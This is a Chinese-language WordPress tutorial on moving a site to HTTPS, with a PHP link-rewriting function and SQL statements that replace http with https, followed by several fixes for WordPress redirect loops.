function fanly_ssl(){
    if( is_ssl() ){
        function fanly_ssl_main ($content){
            $siteurl = get_option('siteurl');
            $upload_dir = wp_upload_dir();
            $content = str_replace( 'http:'.strstr($siteurl, '//'), strstr($siteurl, '//'), $content);
            $content = str_replace( 'http:'.strstr($upload_dir['baseurl'], '//'), strstr($upload_dir['baseurl'], '//'), $content);
            return $content;
        }
        ob_start("fanly_ssl_main");
    }
}

以上代码来自:https://zhangzifan.com/wordpress-ssl-link.html

方法二

修改修改库,把原来的http替换为https。

优点:一劳永逸,绝对https。缺点:需要操作数据库,需要动手能力和理解能力,不再使用https时还要修改数据库。

操作步骤:

1、登陆网站后台,在设置——常规里修改“WordPress地址(URL)”和“站点地址(URL)”为https协议的地址,如下图:

未分类

2、登陆网站数据库的phpmyadmin管理页面,在SQL中执行下面的查询语句:

UPDATE wp_posts SET post_content = REPLACE(post_content, 'http://www.boke8.net','https://www.boke8.net');

作用是把文章内容中原来的附件URL改为https协议的URL,如果不修改的话,附件如图片就不能显示。

如果评论或者文章自定义字段中也使用过网站的地址,那么还要执行以下语句:

UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'http://www.boke8.net','https://www.boke8.net');
UPDATE wp_comments SET comment_author_url = REPLACE(comment_author_url, 'http://www.boke8.net','https://www.boke8.net');
UPDATE wp_postmeta SET meta_value = REPLACE(meta_value, 'http://www.boke8.net','https://www.boke8.net');
UPDATE wp_termmeta SET meta_value = REPLACE(meta_value, 'http://www.boke8.net','https://www.boke8.net');

提醒:把代码中博客吧的域名改为自己网站的域名再执行,此外操作前一定要对数据库进行备份

3、进入后台——设置——多媒体中,把文件上传里的“文件的完整URL地址”修改为https协议后的地址,如果原来没有设置完整URL地址,就忽略这一步:

未分类

附:

百度开放收录https站点公告地址:

http://zhanzhang.baidu.com/wiki/392

wordpress重定向循环的几种解决方法

最近我的wordpress博客总会出现wordpress重定向循环问题,经常导致google浏览器打不开,最近firefox也出现重定向循环这东西了,立马意识到问题的严重性,更严重的就是修改分页规则没用了,也导致cos-html-cache无法缓存。

页面重定向循环出现的提示是:

此页面重定向不正确
Firefox 检测到该服务器正在将此地址的请求循环重定向。
此问题可能是因为禁用或拒绝 Cookie 导致。

  • 我想到了一个问题。打开Wordpress博客时,程序会检测wp-config.php文件是否存在。如果存在将尝试根据配置文件调用数据库,显示网站——排除其他因素,这是网站能正常打开;如果没有,则跳转到安装提示页,安装完毕后,方可正常访问。

  • 我的擦想:问题极可能出现在这里,Wordpress是否会设置一个参数X,用于确定安装是否完毕。值为1表示已安装;值为0表示未安装或因其他原因需重新安装。默认X为0,成功安装后X变成1,同时把安装页设置跳转到首页。

  • 问题来了,如果0变1失败(比如说因为文件写入错误),访问时,X为0于是系统跳转到安装页提示用户安装,,但这时安装页是被设置跳转到首页的。于是你推给我我推给你。在这来回折腾中,Firefox不耐烦了,恼了,给用户循环重定向错误提示。

  • 很遗憾,这种办法我无法确定是否真实——通过对比安装成功的博客文件,我没能把猜想变为现实。附不得言从网上查到的资料:

WordPress3.1循环重定向错误解决办法

  • 修改wp-include下的/template-loader.php文件或canonical.php文件。修改起来并不复杂,缺点是内核文件改动,以后升级务必注意。官方没有给出解决办法,于是只好采用这个办法。

循环重定向解决方法一

  • 禁用上面代码,解决循环重定向错误

  • 禁用上面代码,解决循环重定向错误

  • 找到wp-include文件夹下的template-loader.php文件,使用/代码/注释掉第六行和第七行。

if( defined(‘WP_USE_THEMES’) && WP_USE_THEMES )

do_action(‘template_redirect’);

循环重定向解决方法二

  • 通过给do_redirect赋值解决wordpress循环重定向

  • 通过给do_redirect赋值解决wordpress循环重定向

  • 找到wp-include文件夹下的canonical.php文件,使用//注释掉第37行。另起一行加入下面代码。其实也就是把变量$do_redirect的值修改为false。

function redirect_canonical( $requested_url = null,$do_redirect = false ) {

循环重定向解决方法三

找到您的当前主题文件夹下的functions.php文件,在最后加上下面一行代码:

remove_filter(‘template_redirect’, ‘redirect_canonical’);

此方法推荐使用,不会因为wordpress升级而而重新修改

循环重定向解决方法四

插件办法,下载Permalink Fix & Disable Canonical Redirects Pack安装上就ok。

至此,问题全部解决。